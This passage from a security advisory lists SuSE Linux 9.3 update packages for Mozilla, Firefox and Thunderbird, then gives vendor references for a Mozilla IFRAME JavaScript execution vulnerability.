ftp://ftp.suse.com/pub/suse/i386/update/9.3/rpm/i586/mozilla-irc-1.7.5 -17.10.i586.rpm -
SuSE mozilla-mail-1.7.5-17.10.i586.rpm
SUSE LINUX 9.3:
ftp://ftp.suse.com/pub/suse/i386/update/9.3/rpm/i586/mozilla-mail-1.7. 5-17.10.i586.rpm -
SuSE mozilla-spellchecker-1.7.5-17.10.i586.rpm
SUSE LINUX 9.3:
ftp://ftp.suse.com/pub/suse/i386/update/9.3/rpm/i586/mozilla-spellchec ker-1.7.5-17.10.i586.rpm -
SuSE mozilla-venkman-1.7.5-17.10.i586.rpm
SUSE LINUX 9.3:
ftp://ftp.suse.com/pub/suse/i386/update/9.3/rpm/i586/mozilla-venkman-1 .7.5-17.10.i586.rpm -
SuSE MozillaFirefox-1.0.8-0.2.i586.rpm
SUSE LINUX 9.3:
ftp://ftp.suse.com/pub/suse/i386/update/9.3/rpm/i586/MozillaFirefox-1. 0.8-0.2.i586.rpm -
SuSE MozillaFirefox-translations-1.0.8-0.2.i586.rpm
SUSE LINUX 9.3:
ftp://ftp.suse.com/pub/suse/i386/update/9.3/rpm/i586/MozillaFirefox-tr anslations-1.0.8-0.2.i586.rpm -
SuSE MozillaThunderbird-1.0.8-0.2.i586.rpm
SUSE LINUX 9.3:
ftp://ftp.suse.com/pub/suse/i386/update/9.3/rpm/i586/MozillaThunderbir d-1.0.8-0.2.i586.rpm -
SuSE MozillaThunderbird-1.0.8-0.2.x86_64.rpm
SUSE LINUX 9.3:
ftp://ftp.suse.com/pub/suse/i386/update/9.3/rpm/x86_64/MozillaThunderb ird-1.0.8-0.2.x86_64.rpm
References
Multiple Mozilla Products IFRAME JavaScript Execution Vulnerability
References:
References:
- 102550 - Multiple Security Vulnerabilites in Mozilla 1.4 and 1.7 for Solaris and (Sun)
- Cisco NX-OS Download Page (Cisco)
- Mozilla Foundation Security Advisory 2006-21 (Mozilla)
- RHSA-2006:0329-13 - mozilla security update (Red Hat)
- Mozilla Thunderbird : Remote Code Execution & Denial of Service (Renaud Lifchitz
- HPSBUX02156 SSRT061236 rev.2 - HP-UX Running (HP)
- HPSBUX02156 SSRT061236 rev.3 - HP-UX Running Thunderbird, Remote Unauthorized Ac (HP)